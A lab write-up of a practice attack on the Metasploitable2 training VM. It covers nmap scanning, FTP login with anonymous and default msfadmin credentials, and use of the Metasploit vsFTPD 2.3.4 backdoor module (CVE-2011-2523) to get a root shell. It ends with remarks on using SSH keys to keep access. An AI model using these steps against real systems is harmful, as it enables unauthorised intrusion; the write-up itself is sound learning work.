

# ***Metasploitable2***

## **What is Metasploitable?**

Metasploitable is a machine that was created to practice pentesting, it has a lot of vulnerabilities that we can use to practice.

My goal is to discover as many vulnerabilities as possible, to the best of my limited knowledge.

I will upload my reports to GitHub: <https://github.com/Noli18P>

## **How will my reports be structured?**

I will start with an enumeration to discover ONLY the open ports and once I have the list, I will use each one of them to try to discover vulnerabilities and write a small report about it, without rushing and trying to learn as much as I can.

## Enumeration

To know the open ports I need to run nmap together with a series of parameters, I will divide this scan in two parts

- A scan to get only open ports.
- Another much deeper scan to get versions and run some scripts.

**nmap -p- -sS --min-rate 5000 --open -vvv 192.168.56.101 -o allPorts.txt**

### How does the command work?

- **-p-** To scan all 65535 ports.
- **-sS** For scanning over TCP.
- **--min-rate 5000** It allows me to choose the number of packets per second to be sent.
- **--open** To show only open ports.
- **-vvv** It shows me the results in a more detailed way.
- **-o** To export the results to a file.

Now thanks to this super fast scan it allows me to save a lot of time and focus only on the open ports:

→ 21	→ 80	→
513	→ 2121	
→ 22	→ 111	→
514	→ 3306	
→ 23	→ 139	→
1099	→ 3632	
→ 25	→ 445	→
1524	→ 5432	
→ 53	→ 512	→
2049	→ 5900	
→ 6000	→ 6667	→
6697	→ 8009	
→ 8180	→ 8787	→
35331	→ 38712	
→ 46167	→ 53241	

Some of these ports are common such as FTP, SSH, HTTP, telnet, smpt,

etc.

Once the ports are open I can run the second scan which will allow me to get much more information about the ports:

**nmap -p (allports) -sV -sC -T5 -vvv -o deepScan.txt**

### **How does the command work?**

- **-p** To specify the ports.
- **-sV** To obtain the versions of the services that are being executed.
- **-sC** To run some common scripts and try to obtain more information.
- **-T5** To increase the speed to the maximum level.
- **-vvv** It shows me the results in a more detailed way.
- **-o** To export the results to a file.

# FTP - 21

I got very interesting results, I'll focus first on FTP, the scan shows me the following scan shows me the following:

```
21/tcp      open      ftp          syn-ack ttl 64
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_    Connected to 192.168.56.1
|_    Logged in as ftp
|_    TYPE: ASCII
|_    No session bandwidth limit
|_    Session timeout in seconds is 300
|_    Control connection is plain text
|_    Data connections will be plain text
|_    vsFTPD 2.3.4 - secure, fast, stable
|_End of status
```

The scan tells me that it allows anonymous login but I will check it manually.

```
(kali㉿kali)-[~/Metasploitable/enum]
└─$ ftp 192.168.56.101
Connected to 192.168.56.101.
220 (vsFTPD 2.3.4)
Name (192.168.56.101:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> █
```

It only allows me to execute a few commands, so I won't be able to do a file enumeration but it does allow me the PUT command so I could upload files and get a reverse shell.

To try to get some more information I remembered that "**msfadmin**" is the default user of metasploitable and maybe it is reused for different services so I decided to try it and it worked!

```
(kali㉿kali)-[~/Metasploitable]
$ ftp 192.168.56.101
Connected to 192.168.56.101.
220 (vsFTPD 2.3.4)
Name (192.168.56.101:kali): msfadmin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

I ran the "pwd" command and I happen to be in the following directory:

```
Using binary mode to transfer files.
ftp> pwd
257 "/home/msfadmin"
```

Por lo que en /home podría obtener más usuarios pero no puedo ejecutar ningún comando de listado, así que por ahora solo tengo dos usuarios.

- anonymous
- msfadmin:msfadmin

Regresando al escaneo obtengo una versión por lo que con searchsploit puedo buscar vulnerabilidades:

```
Data connections will be plain text
vsFTPD 2.3.4 - secure, fast, stable
End of status
```

```
(kali㉿kali)-[~/Metasploitable]
$ searchsploit vsFTPD 2.3.4
```

```
Exploit Title
```

```
vsftpd 2.3.4 - Backdoor Command Execution
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
```

Both scripts work but I am also interested in knowing how the vulnerability works.

## CVE-2011-2523

<https://nvd.nist.gov/vuln/detail/CVE-2011-2523>

[https://www.rapid7.com/db/modules/exploit/unix/ftp/-vsftpd\\_234\\_backdoor/](https://www.rapid7.com/db/modules/exploit/unix/ftp/-vsftpd_234_backdoor/)

### Description

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

The code contained a backdoor that allowed to execute a shell, that's all.

### Exploit vulnerability

As I already showed we have two ways to get access to the system, with metasploit and running a python script, something very interesting is that once we have the shell we are root, so we own the system.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)  
whoami  
root
```

Now that we are inside the system we can list much more information that could be useful for exploiting other vulnerabilities.

The users of the system are:

- ftp
- msfadmin
- user
- service

The user msfadmin and user have ssh keys to connect remotely, if it were a malicious attacker could gain access to the system for much longer.

```
root@metasploitable:/home/msfadmin/.ssh# ls  
ls  
authorized_keys  id_rsa  id_rsa.pub
```

```
root@metasploitable:/home/user/.ssh# ls  
ls  
id_dsa  id_dsa.pub  
root@metasploitable:/home/user/.ssh#
```

I can't log in with the keys but I could add them to authorized\_keys and log in without any problem.

## Conclusion

FTP is a service that can be very useful if it is well configured and UPDATED, the exploitation of this port was very simple and I got access to the system and not only that, an attacker exploiting it could do a lot of damage.